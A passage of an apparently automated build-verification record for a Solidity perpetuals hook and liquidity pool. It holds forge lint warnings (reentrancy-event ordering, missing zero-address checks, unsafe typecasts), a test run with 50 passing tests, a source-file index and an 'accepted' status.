src/IMD6900PerpHook.sol:165:63\n    │\n165 │     constructor(IPoolManager poolManager_, address launcher_, address feeAddress_, address owner_, uint24 poolFeePips_)\n    │                                                               ━━━━━━━━━━━━━━━━━━━\n    │\n    ╰ help: https://getfoundry.sh/forge/linting/missing-zero-check\n\nwarning[missing-zero-check]: address parameter is used in a state write or value transfer without a zero-address check\n    ╭▸ src/IMD6900PerpHook.sol:165:44\n    │\n165 │     constructor(IPoolManager poolManager_, address launcher_, address feeAddress_, address owner_, uint24 poolFeePips_)\n    │                                            ━━━━━━━━━━━━━━━━━\n    │\n    ╰ help: https://getfoundry.sh/forge/linting/missing-zero-check\n\nwarning[missing-zero-check]: address parameter is used in a state write or value transfer without a zero-address check\n   ╭▸ src/IMD6900PerpPool.sol:93:22\n   │\n93 │     function setHook(address hook_) external onlyOwner {\n   │                      ━━━━━━━━━━━━━\n   │\n   ╰ help: https://getfoundry.sh/forge/linting/missing-zero-check\n\nwarning[reentrancy-events]: event emitted after an external call; reentrancy can reorder or fabricate logs that off-chain consumers rely on\n   ╭▸ src/IMD6900PerpPool.sol:96:9\n   │\n96 │         emit HookSet(hook_);\n   │         ━━━━━━━━━━━━━━━━━━━━\n   │\n   ╰ help: https://getfoundry.sh/forge/linting/reentrancy-events\n\nwarning[missing-zero-check]: address parameter is used in a state write or value transfer without a zero-address check\n   ╭▸ src/IMD6900PerpPool.sol:99:28\n   │\n99 │     function setPerpEngine(address engine) external onlyOwner {\n   │                            ━━━━━━━━━━━━━━\n   │\n   ╰ help: https://getfoundry.sh/forge/linting/missing-zero-check\n\nwarning[reentrancy-events]: event emitted after an external call; reentrancy can reorder or fabricate logs that off-chain consumers rely on\n    ╭▸ src/IMD6900PerpPool.sol:101:9\n    │\n101 │         emit PerpEngineSet(engine);\n    │         ━━━━━━━━━━━━━━━━━━━━━━━━━━━\n    │\n    ╰ help: https://getfoundry.sh/forge/linting/reentrancy-events\n\nwarning[missing-zero-check]: address parameter is used in a state write or value transfer without a zero-address check\n    ╭▸ src/IMD6900PerpHook.sol:200:28\n    │\n200 │     function setPerpEngine(address engine) external onlyOwner {\n    │                            ━━━━━━━━━━━━━━\n    │\n    ╰ help: https://getfoundry.sh/forge/linting/missing-zero-check\n\nwarning[arbitrary-send-eth]: ETH is sent to a user-controlled destination; restrict the destination or the caller\n    ╭▸ src/IMD6900PerpPool.sol:116:9\n    │\n116 │         SafeTransferLib.safeTransferETH(ethTo, eth);\n    │         ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━\n    │\n    ╰ help: https://getfoundry.sh/forge/linting/arbitrary-send-eth\n\nwarning[reentrancy-events]: event emitted after an external call; reentrancy can reorder or fabricate logs that off-chain consumers rely on\n    ╭▸ src/IMD6900PerpHook.sol:202:9\n    │\n202 │         emit PerpEngineSet(engine);\n    │         ━━━━━━━━━━━━━━━━━━━━━━━━━━━\n    │\n    ╰ help: https://getfoundry.sh/forge/linting/reentrancy-events\n\nwarning[reentrancy-events]: event emitted after an external call; reentrancy can reorder or fabricate logs that off-chain consumers rely on\n    ╭▸ src/IMD6900PerpHook.sol:207:9\n    │\n207 │         emit SweepFailOpenSet(on);\n    │         ━━━━━━━━━━━━━━━━━━━━━━━━━━\n    │\n    ╰ help: https://getfoundry.sh/forge/linting/reentrancy-events\n\nwarning[reentrancy-events]: event emitted after an external call; reentrancy can reorder or fabricate logs that off-chain consumers rely on\n    ╭▸ src/IMD6900PerpHook.sol:214:9\n    │\n214 │         emit MaxDeviationSet(maxDeviationBps_);\n    │         ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━\n    │\n    ╰ help: https://getfoundry.sh/forge/linting/reentrancy-events\n\nwarning[reentrancy-events]: event emitted after an external call; reentrancy can reorder or fabricate logs that off-chain consumers rely on\n    ╭▸ src/IMD6900PerpHook.sol:219:9\n    │\n219 │         emit FeeExemptSet(caller, exempt);\n    │         ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━\n    │\n    ╰ help: https://getfoundry.sh/forge/linting/reentrancy-events\n\nwarning[non-reentrant-not-first]: `nonReentrant` is not the first modifier\n    ╭▸ src/IMD6900PerpPool.sol:106:95\n    │\n106 │     function removeLiquidity(uint128 liq, address ethTo, address tokensTo) external onlyOwner nonReentrant {\n    │                                                                                               ━━━━━━━━━━━━\n    │\n    ╰ help: https://getfoundry.sh/forge/linting/non-reentrant-not-first\n\nwarning[missing-zero-check]: address parameter is used in a state write or value transfer without a zero-address check\n    ╭▸ src/IMD6900PerpHook.sol:222:31\n    │\n222 │     function updateFeeAddress(address feeAddress_) external onlyOwner {\n    │                               ━━━━━━━━━━━━━━━━━━━\n    │\n    ╰ help: https://getfoundry.sh/forge/linting/missing-zero-check\n\nwarning[reentrancy-events]: event emitted after an external call; reentrancy can reorder or fabricate logs that off-chain consumers rely on\n    ╭▸ src/IMD6900PerpHook.sol:225:9\n    │\n225 │         emit FeeAddressUpdated(feeAddress_);\n    │         ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━\n    │\n    ╰ help: https://getfoundry.sh/forge/linting/reentrancy-events\n\nwarning[calls-loop]: external call inside a loop\n    ╭▸ src/IMD6900PerpPool.sol:113:21\n    │\n113 │                 if (IPerpBookView(engine).isLiquidatable(ids[i])) revert WouldLiquidate(ids[i]);\n    │                     ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━\n    │\n    ╰ help: https://getfoundry.sh/forge/linting/calls-loop\n\nwarning[reentrancy-events]: event emitted after an external call; reentrancy can reorder or fabricate logs that off-chain consumers rely on\n    ╭▸ src/IMD6900PerpPool.sol:118:9\n    │\n118 │         emit LiquidityRemoved(liq, eth, tokens, ethTo, tokensTo);\n    │         ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━\n    │\n    ╰ help: https://getfoundry.sh/forge/linting/reentrancy-events\n\nwarning[require-revert-in-loop]: `require` or `revert` inside a loop\n    ╭▸ src/IMD6900PerpPool.sol:113:67\n    │\n113 │                 if (IPerpBookView(engine).isLiquidatable(ids[i])) revert WouldLiquidate(ids[i]);\n    │                                                                   ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━\n    │\n    ╰ help: https://getfoundry.sh/forge/linting/require-revert-in-loop\n\nwarning[non-reentrant-not-first]: `nonReentrant` is not the first modifier\n    ╭▸ src/IMD6900PerpPool.sol:128:9\n    │\n128 │         nonReentrant\n    │         ━━━━━━━━━━━━\n    │\n    ╰ help: https://getfoundry.sh/forge/linting/non-reentrant-not-first\n\nwarning[missing-zero-check]: address parameter is used in a state write or value transfer without a zero-address check\n    ╭▸ src/IMD6900PerpPool.sol:124:19\n    │\n124 │     function open(address token_, address curve_, uint160 sqrtPriceX96, uint256 tokenAmount)\n    │                   ━━━━━━━━━━━━━━\n    │\n    ╰ help: https://getfoundry.sh/forge/linting/missing-zero-check\n\nwarning[missing-zero-check]: address parameter is used in a state write or value transfer without a zero-address check\n    ╭▸ src/IMD6900PerpPool.sol:124:35\n    │\n124 │     function open(address token_, address curve_, uint160 sqrtPriceX96, uint256 tokenAmount)\n    │                                   ━━━━━━━━━━━━━━\n    │\n    ╰ help: https://getfoundry.sh/forge/linting/missing-zero-check\n\nwarning[reentrancy-events]: event emitted after an external call; reentrancy can reorder or fabricate logs that off-chain consumers rely on\n    ╭▸ src/IMD6900PerpPool.sol:141:9\n    │\n141 │         emit Opened(sqrtPriceX96, ethIn, tokensIn, liq);\n    │         ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━\n    │\n    ╰ help: https://getfoundry.sh/forge/linting/reentrancy-events\n\nwarning[unused-return]: return value of an external call is not used\n    ╭▸ src/IMD6900PerpPool.sol:135:9\n    │\n135 │         poolManager.initialize(poolKey(), sqrtPriceX96);\n    │         ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━\n    │\n    ╰ help: https://getfoundry.sh/forge/linting/unused-return\n\nwarning[arbitrary-send-eth]: ETH is sent to a user-controlled destination; restrict the destination or the caller\n    ╭▸ src/IMD6900PerpPool.sol:155:32\n    │\n155 │         if (msg.value > ethIn) SafeTransferLib.safeTransferETH(refundTo, msg.value - ethIn);\n    │                                ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━\n    │\n    ╰ help: https://getfoundry.sh/forge/linting/arbitrary-send-eth\n\nwarning[reentrancy-events]: event emitted after an external call; reentrancy can reorder or fabricate logs that off-chain consumers rely on\n    ╭▸ src/IMD6900PerpPool.sol:157:9\n    │\n157 │         emit LiquidityAdded(msg.sender, liq, ethIn, tokensIn);\n    │         ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━\n    │\n    ╰ help: https://getfoundry.sh/forge/linting/reentrancy-events\n\nwarning[reentrancy-events]: event emitted after an external call; reentrancy can reorder or fabricate logs that off-chain consumers rely on\n    ╭▸ src/IMD6900PerpPool.sol:174:9\n    │\n174 │         emit Compounded(liq, ethIn, tokensIn); // what the price could not pair stays here for next time\n    │         ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━\n    │\n    ╰ help: https://getfoundry.sh/forge/linting/reentrancy-events\n\nwarning[arbitrary-send-eth]: ETH is sent to a user-controlled destination; restrict the destination or the caller\n    ╭▸ src/IMD6900PerpPool.sol:187:9\n    │\n187 │         IFeeSink(sink).addFees{value: msg.value}();\n    │         ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━\n    │\n    ╰ help: https://getfoundry.sh/forge/linting/arbitrary-send-eth\n\nwarning[reentrancy-events]: event emitted after an external call; reentrancy can reorder or fabricate logs that off-chain consumers rely on\n    ╭▸ src/IMD6900PerpPool.sol:188:9\n    │\n188 │         emit FeesForwarded(msg.value);\n    │         ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━\n    │\n    ╰ help: https://getfoundry.sh/forge/linting/reentrancy-events\n\nwarning[reentrancy-events]: event emitted after an external call; reentrancy can reorder or fabricate logs that off-chain consumers rely on\n    ╭▸ src/IMD6900PerpHook.sol:234:9\n    │\n234 │         emit FeeAddressRenounced(msg.sender);\n    │         ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━\n    │\n    ╰ help: https://getfoundry.sh/forge/linting/reentrancy-events\n\nwarning[arbitrary-send-eth]: ETH is sent to a user-controlled destination; restrict the destination or the caller\n    ╭▸ src/IMD6900PerpHook.sol:245:32\n    │\n245 │         if (toFeeAddress != 0) SafeTransferLib.safeTransferETH(feeAddress, toFeeAddress);\n    │                                ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━\n    │\n    ╰ help: https://getfoundry.sh/forge/linting/arbitrary-send-eth\n\nwarning[reentrancy-events]: event emitted after an external call; reentrancy can reorder or fabricate logs that off-chain consumers rely on\n    ╭▸ src/IMD6900PerpHook.sol:246:9\n    │\n246 │         emit FeesFlushed(amount - toFeeAddress, toFeeAddress);\n    │         ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━\n    │\n    ╰ help: https://getfoundry.sh/forge/linting/reentrancy-events\n\nwarning[unused-return]: return value of an external call is not used\n    ╭▸ src/IMD6900PerpPool.sol:207:21\n    │\n207 │         if (a0 < 0) poolManager.settle{value: uint256(uint128(-a0))}();\n    │                     ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━\n    │\n    ╰ help: https://getfoundry.sh/forge/linting/unused-return\n\nwarning[unsafe-typecast]: typecast can truncate values\n    ╭▸ src/IMD6900PerpPool.sol:207:47\n    │\n207 │         if (a0 < 0) poolManager.settle{value: uint256(uint128(-a0))}();\n    │                                               ━━━━━━━━━━━━━━━━━━━━━\n    │\n    ├ note: consider disabling this lint if you're certain the cast is safe\n    │       \n    │       // casting to 'uint256' is safe because [explain why]\n    │       // forge-lint: disable-next-line(unsafe-typecast)\n    │       \n    │       \n    ╰ help: https://getfoundry.sh/forge/linting/unsafe-typecast\n\nwarning[unsafe-typecast]: typecast can truncate values\n    ╭▸ src/IMD6900PerpPool.sol:207:55\n    │\n207 │         if (a0 < 0) poolManager.settle{value: uint256(uint128(-a0))}();\n    │                                                       ━━━━━━━━━━━━\n    │\n    ├ note: consider disabling this lint if you're certain the cast is safe\n    │       \n    │       // casting to 'uint128' is safe because [explain why]\n    │       // forge-lint: disable-next-line(unsafe-typecast)\n    │       \n    │       \n    ╰ help: https://getfoundry.sh/forge/linting/unsafe-typecast\n\nwarning[unsafe-typecast]: typecast can truncate values\n    ╭▸ src/IMD6900PerpPool.sol:208:73\n    │\n208 │         else if (a0 > 0) poolManager.take(key.currency0, address(this), uint256(uint128(a0)));\n    │                                                                         ━━━━━━━━━━━━━━━━━━━━\n    │\n    ├ note: consider disabling this lint if you're certain the cast is safe\n    │       \n    │       // casting to 'uint256' is safe because [explain why]\n    │       // forge-lint: disable-next-line(unsafe-typecast)\n    │       \n    │       \n    ╰ help: https://getfoundry.sh/forge/linting/unsafe-typecast\n\nwarning[unsafe-typecast]: typecast can truncate values\n    ╭▸ src/IMD6900PerpPool.sol:208:81\n    │\n208 │         else if (a0 > 0) poolManager.take(key.currency0, address(this), uint256(uint128(a0)));\n    │                                                                                 ━━━━━━━━━━━\n    │\n    ├ note: consider disabling this lint if you're certain the cast is safe\n    │       \n    │       // casting to 'uint128' is safe because [explain why]\n    │       // forge-lint: disable-next-line(unsafe-typecast)\n    │       \n    │       \n    ╰ help: https://getfoundry.sh/forge/linting/unsafe-typecast\n\nwarning[unsafe-typecast]: typecast can truncate values\n    ╭▸ src/IMD6900PerpPool.sol:211:71\n    │\n211 │             SafeTransferLib.safeTransfer(token, address(poolManager), uint256(uint128(-a1)));\n    │                                                                       ━━━━━━━━━━━━━━━━━━━━━\n    │\n    ├ note: consider disabling this lint if you're certain the cast is safe\n    │       \n    │       // casting to 'uint256' is safe because [explain why]\n    │       // forge-lint: disable-next-line(unsafe-typecast)\n    │       \n    │       \n    ╰ help: https://getfoundry.sh/forge/linting/unsafe-typecast\n\nwarning[unsafe-typecast]: typecast can truncate values\n    ╭▸ src/IMD6900PerpPool.sol:211:79\n    │\n211 │             SafeTransferLib.safeTransfer(token, address(poolManager), uint256(uint128(-a1)));\n    │                                                                               ━━━━━━━━━━━━\n    │\n    ├ note: consider disabling this lint if you're certain the cast is safe\n    │       \n    │       // casting to 'uint128' is safe because [explain why]\n    │       // forge-lint: disable-next-line(unsafe-typecast)\n    │       \n    │       \n    ╰ help: https://getfoundry.sh/forge/linting/unsafe-typecast\n\nwarning[unused-return]: return value of an external call is not used\n    ╭▸ src/IMD6900PerpPool.sol:212:13\n    │\n212 │             poolManager.settle();\n    │             ━━━━━━━━━━━━━━━━━━━━\n    │\n    ╰ help: https://getfoundry.sh/forge/linting/unused-return\n\nwarning[unsafe-typecast]: typecast can truncate values\n    ╭▸ src/IMD6900PerpPool.sol:214:60\n    │\n214 │             poolManager.take(key.currency1, address(this), uint256(uint128(a1)));\n    │                                                            ━━━━━━━━━━━━━━━━━━━━\n    │\n    ├ note: consider disabling this lint if you're certain the cast is safe\n    │       \n    │       // casting to 'uint256' is safe because [explain why]\n    │       // forge-lint: disable-next-line(unsafe-typecast)\n    │       \n    │       \n    ╰ help: https://getfoundry.sh/forge/linting/unsafe-typecast\n\nwarning[unsafe-typecast]: typecast can truncate values\n    ╭▸ src/IMD6900PerpPool.sol:214:68\n    │\n214 │             poolManager.take(key.currency1, address(this), uint256(uint128(a1)));\n    │                                                                    ━━━━━━━━━━━\n    │\n    ├ note: consider disabling this lint if you're certain the cast is safe\n    │       \n    │       // casting to 'uint128' is safe because [explain why]\n    │       // forge-lint: disable-next-line(unsafe-typecast)\n    │       \n    │       \n    ╰ help: https://getfoundry.sh/forge/linting/unsafe-typecast\n\nwarning[unsafe-typecast]: typecast can truncate values\n    ╭▸ src/IMD6900PerpPool.sol:241:60\n    │\n241 │         return l > type(uint128).max ? type(uint128).max : uint128(l);\n    │                                                            ━━━━━━━━━━\n    │\n    ├ note: consider disabling this lint if you're certain the cast is safe\n    │       \n    │       // casting to 'uint128' is safe because [explain why]\n    │       // forge-lint: disable-next-line(unsafe-typecast)\n    │       \n    │       \n    ╰ help: https://getfoundry.sh/forge/linting/unsafe-typecast\n\nwarning[unsafe-typecast]: typecast can truncate values\n    ╭▸ src/IMD6900PerpPool.sol:245:24\n    │\n245 │         return v < 0 ? uint256(uint128(-v)) : uint256(uint128(v));\n    │                        ━━━━━━━━━━━━━━━━━━━━\n    │\n    ├ note: consider disabling this lint if you're certain the cast is safe\n    │       \n    │       // casting to 'uint256' is safe because [explain why]\n    │       // forge-lint: disable-next-line(unsafe-typecast)\n    │       \n    │       \n    ╰ help: https://getfoundry.sh/forge/linting/unsafe-typecast\n\nwarning[unsafe-typecast]: typecast can truncate values\n    ╭▸ src/IMD6900PerpPool.sol:245:32\n    │\n245 │         return v < 0 ? uint256(uint128(-v)) : uint256(uint128(v));\n    │                                ━━━━━━━━━━━\n    │\n    ├ note: consider disabling this lint if you're certain the cast is safe\n    │       \n    │       // casting to 'uint128' is safe because [explain why]\n    │       // forge-lint: disable-next-line(unsafe-typecast)\n    │       \n    │       \n    ╰ help: https://getfoundry.sh/forge/linting/unsafe-typecast\n\nwarning[unsafe-typecast]: typecast can truncate values\n    ╭▸ src/IMD6900PerpPool.sol:245:47\n    │\n245 │         return v < 0 ? uint256(uint128(-v)) : uint256(uint128(v));\n    │                                               ━━━━━━━━━━━━━━━━━━━\n    │\n    ├ note: consider disabling this lint if you're certain the cast is safe\n    │       \n    │       // casting to 'uint256' is safe because [explain why]\n    │       // forge-lint: disable-next-line(unsafe-typecast)\n    │       \n    │       \n    ╰ help: https://getfoundry.sh/forge/linting/unsafe-typecast\n\nwarning[return-bomb]: external call with a gas limit may copy unbounded return data\n    ╭▸ src/IMD6900PerpHook.sol:418:43\n    │\n418 │               (bool ok, bytes memory out) = engine.call{gas: g - reserve}(\n    │ ┏━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━┛\n419 │ ┃                 abi.encodeCall(IPerpSweep.sweepLiquidations, (tx.origin, spec, isBuy, limit))\n420 │ ┃             );\n    │ ┗━━━━━━━━━━━━━┛\n    │\n    ╰ help: https://getfoundry.sh/forge/linting/return-bomb\n\nwarning[unsafe-typecast]: typecast can truncate values\n    ╭▸ src/IMD6900PerpPool.sol:245:55\n    │\n245 │         return v < 0 ? uint256(uint128(-v)) : uint256(uint128(v));\n    │                                                       ━━━━━━━━━━\n    │\n    ├ note: consider disabling this lint if you're certain the cast is safe\n    │       \n    │       // casting to 'uint128' is safe because [explain why]\n    │       // forge-lint: disable-next-line(unsafe-typecast)\n    │       \n    │       \n    ╰ help: https://getfoundry.sh/forge/linting/unsafe-typecast\n\n","passed":true},{"durationMs":365,"exitCode":0,"name":"test","output":"No files changed, compilation skipped\n\nRan 1 test for test/RobinhoodFlow.fork.t.sol:RobinhoodFlowForkTest\n[SKIP: skipped] setUp() (gas: 0)\nSuite result: ok. 0 passed; 0 failed; 1 skipped; finished in 355.46µs (0.00ns CPU time)\n\nRan 5 tests for test/IMD6900PerpsLaunch.t.sol:IMD6900PerpsLaunchTest\n[PASS] test_DeploysOnAFreshChain() (gas: 5981565)\n[PASS] test_EachDeployerMinesItsOwnSalt() (gas: 10403172)\n[PASS] test_FitsOneTransaction() (gas: 5878591)\nLogs:\n  launch gas (the mining included): 5875328\n\n[PASS] test_PassesTheAdmissionScan() (gas: 12760562)\n[PASS] test_RefusesADynamicFee() (gas: 4280)\nSuite result: ok. 5 passed; 0 failed; 0 skipped; finished in 16.30ms (48.08ms CPU time)\n\nRan 7 tests for test/IMD6900Perps.t.sol:IMD6900PerpsTest\n[PASS] test_AnyoneDeepensIt() (gas: 272831)\n[PASS] test_OnlyTheOwnerOpensAndRemoves() (gas: 231692)\n[PASS] test_OnlyThePoolAddsLiquidity() (gas: 405775)\n[PASS] test_OpensAtThePrice() (gas: 53455)\n[PASS] test_PerpsOffUntilAnEngineIsSet() (gas: 11135)\n[PASS] test_RefusesToDriftFarFromPons() (gas: 185514)\n[PASS] test_TradesBothWays() (gas: 409119)\nSuite result: ok. 7 passed; 0 failed; 0 skipped; finished in 37.65ms (1.49ms CPU time)\n\nRan 36 tests for test/IMD6900Audit.t.sol:IMD6900AuditTest\n[PASS] testFuzz_AddKeepsAccruedFeesInBothCurrencies(uint96,uint96) (runs: 256, μ: 842825, ~: 845896)\nLogs:\n  Bound result 99999999000007048\n  Bound result 99999999000000000355872797\n\n[PASS] testFuzz_ReciprocalReferencesHaveEqualDeviation(uint32) (runs: 256, μ: 83820, ~: 83702)\nLogs:\n  Bound result 662528\n\n[PASS] test_AddRefundToRejectingRecipientReverts() (gas: 516504)\n[PASS] test_AddReportsPrincipalWhenEthFeesExceedDeposit() (gas: 620658)\n[PASS] test_AddReportsPrincipalWhenFeesOnlyPartlyPayForIt() (gas: 620813)\n[PASS] test_AddReportsPrincipalWhenTokenFeesExceedDeposit() (gas: 646977)\n[PASS] test_AllGraduatedReferenceFailuresKeepTrading() (gas: 1366326)\n[PASS] test_AnyoneDeepensIt() (gas: 273167)\n[PASS] test_BandExemptCallersStillPayTheStaticFee() (gas: 340237)\n[PASS] test_CompoundReportsPrincipalSeparatelyFromFees() (gas: 550937)\n[PASS] test_CorrectionCannotOvershootFarBelowPons() (gas: 223683)\n[PASS] test_CorrectionsOutsideBandStillTradeBothWays() (gas: 542632)\n[PASS] test_DeviationComparesReciprocalPriceRatios() (gas: 81428)\n[PASS] test_EngineSwapsKeepTheirBandExemptionAndPayTheStaticFee() (gas: 340508)\n[PASS] test_FailClosedEngineNeverPreventsOwnerExit() (gas: 1010037)\n[PASS] test_FlushRetainsThe97To3SplitAndRenunciation() (gas: 160012)\n[PASS] test_FlushToRejectingRecipientRevertsAtomically() (gas: 298720)\n[PASS] test_FractionalBasisPointFeeViewsRoundUpWithoutChangingPoolFee() (gas: 54131)\n[PASS] test_GraduatedReferenceUsesTheLivePoolPrice() (gas: 777486)\n[PASS] test_GraduationWithNoFactoryCodeKeepsTrading() (gas: 397867)\n[PASS] test_MalformedReservesKeepTrading() (gas: 232643)\n[PASS] test_ObsoleteFeeAndSkimSettersCannotMisreportFees() (gas: 88654)\n[PASS] test_OnlyOwnerSetsTheBand() (gas: 278519)\n[PASS] test_OnlyTheOwnerOpensAndRemoves() (gas: 231869)\n[PASS] test_OnlyThePoolAddsLiquidity() (gas: 406542)\n[PASS] test_OpenRefundToRejectingOwnerReverts() (gas: 711966)\n[PASS] test_OpensAtThePrice() (gas: 53525)\n[PASS] test_PerpsOffUntilAnEngineIsSet() (gas: 11669)\n[PASS] test_PostSweepCannotDisableBand() (gas: 913472)\n[PASS] test_RefusesToDriftFarFromPons() (gas: 186049)\n[PASS] test_RemoveAllPaysPrincipalAndFeesAndCanFundANewHook() (gas: 1308049)\n[PASS] test_RemoveToRejectingRecipientRevertsAndOwnerCanRetry() (gas: 567497)\n[PASS] test_RevertingReservesKeepTrading() (gas: 231708)\n[PASS] test_StaticFeeViewsMatchForEveryCaller() (gas: 152983)\n[PASS] test_TradesBothWays() (gas: 409723)\n[PASS] test_UnreadableGraduatedFlagKeepsTrading() (gas: 229965)\nSuite result: ok. 36 passed; 0 failed; 0 skipped; finished in 44.19ms (77.35ms CPU time)\n\nRan 2 tests for test/IMD6900Mining.t.sol:IMD6900MiningTest\n[PASS] test_ExhaustedMiningReturnsNoSaltWithinTheBudget() (gas: 16384920)\nLogs:\n  exhausted mining gas: 11613336\n\n[PASS] test_UnluckyFactorySaltFailsCleanlyWithinOneTransaction() (gas: 13697558)\nLogs:\n  exhausted complete launch gas: 13670157\n\nSuite result: ok. 2 passed; 0 failed; 0 skipped; finished in 283.28ms (390.90ms CPU time)\n\nRan 5 test suites in 284.16ms (381.77ms CPU time): 50 tests passed, 0 failed, 1 skipped (51 total tests)\n","passed":true},{"durationMs":65,"exitCode":0,"name":"source-index","output":"{\"v\":1,\"entryPoints\":[\"IMD6900PerpHook.afterAddLiquidity(address,(address,address,uint24,int24,address),(int24,int24,int256,bytes32),int256,int256,bytes)\",\"IMD6900PerpHook.afterDonate(address,(address,address,uint24,int24,address),uint256,uint256,bytes)\",\"IMD6900PerpHook.afterInitialize(address,(address,address,uint24,int24,address),uint160,int24)\",\"IMD6900PerpHook.afterRemoveLiquidity(address,(address,address,uint24,int24,address),(int24,int24,int256,bytes32),int256,int256,bytes)\",\"IMD6900PerpHook.afterSwap(address,(address,address,uint24,int24,address),(bool,int256,uint160),int256,bytes)\",\"IMD6900PerpHook.beforeAddLiquidity(address,(address,address,uint24,int24,address),(int24,int24,int256,bytes32),bytes)\",\"IMD6900PerpHook.beforeDonate(address,(address,address,uint24,int24,address),uint256,uint256,bytes)\",\"IMD6900PerpHook.beforeInitialize(address,(address,address,uint24,int24,address),uint160)\",\"IMD6900PerpHook.beforeRemoveLiquidity(address,(address,address,uint24,int24,address),(int24,int24,int256,bytes32),bytes)\",\"IMD6900PerpHook.beforeSwap(address,(address,address,uint24,int24,address),(bool,int256,uint160),bytes)\",\"IMD6900PerpHook.cancelOwnershipHandover()\",\"IMD6900PerpHook.completeOwnershipHandover(address)\",\"IMD6900PerpHook.flush()\",\"IMD6900PerpHook.receive()\",\"IMD6900PerpHook.renounceFeeAddress()\",\"IMD6900PerpHook.renounceOwnership()\",\"IMD6900PerpHook.requestOwnershipHandover()\",\"IMD6900PerpHook.setFeeExempt(address,bool)\",\"IMD6900PerpHook.setMaxDeviationBps(uint256)\",\"IMD6900PerpHook.setPerpEngine(address)\",\"IMD6900PerpHook.setSweepFailOpen(bool)\",\"IMD6900PerpHook.transferOwnership(address)\",\"IMD6900PerpHook.updateFeeAddress(address)\",\"IMD6900PerpPool.addFees()\",\"IMD6900PerpPool.addLiquidity(uint256,address)\",\"IMD6900PerpPool.cancelOwnershipHandover()\",\"IMD6900PerpPool.completeOwnershipHandover(address)\",\"IMD6900PerpPool.compound(uint256,uint256)\",\"IMD6900PerpPool.open(address,address,uint160,uint256)\",\"IMD6900PerpPool.receive()\",\"IMD6900PerpPool.removeLiquidity(uint128,address,address)\",\"IMD6900PerpPool.renounceOwnership()\",\"IMD6900PerpPool.requestOwnershipHandover()\",\"IMD6900PerpPool.setFeeSink(address)\",\"IMD6900PerpPool.setHook(address)\",\"IMD6900PerpPool.setPerpEngine(address)\",\"IMD6900PerpPool.transferOwnership(address)\",\"IMD6900PerpPool.unlockCallback(bytes)\"],\"files\":{\".gitignore\":4,\"ADAPTATION.md\":61,\"README.md\":105,\"foundry.toml\":25,\"launch.json\":15,\"script/Owner.s.sol\":94,\"src/IMD6900PerpHook.sol\":438,\"src/IMD6900PerpPool.sol\":247,\"src/IMD6900PerpsLaunch.sol\":78,\"test/IMD6900Audit.t.sol\":494,\"test/IMD6900Mining.t.sol\":123,\"test/IMD6900Perps.t.sol\":158,\"test/IMD6900PerpsLaunch.t.sol\":97,\"test/RobinhoodFlow.fork.t.sol\":299},\"excluded\":[\"lib/\",\"node_modules/\"],\"truncated\":false}","passed":true}],"detail":"all checks passed","evaluation":"checks","profile":"foundry","status":"accepted","submissionHash":"bc8c115c21f4a181f6e6a9aaa9a81c1e1d0f5e10e722532206ece14ccba7394a","verifiedTreeHash":"90afdb7507ef0913cf85d965c73d3f6fdab4056c","verifierVersion":"0.1.0+fdeb4d4a"}]}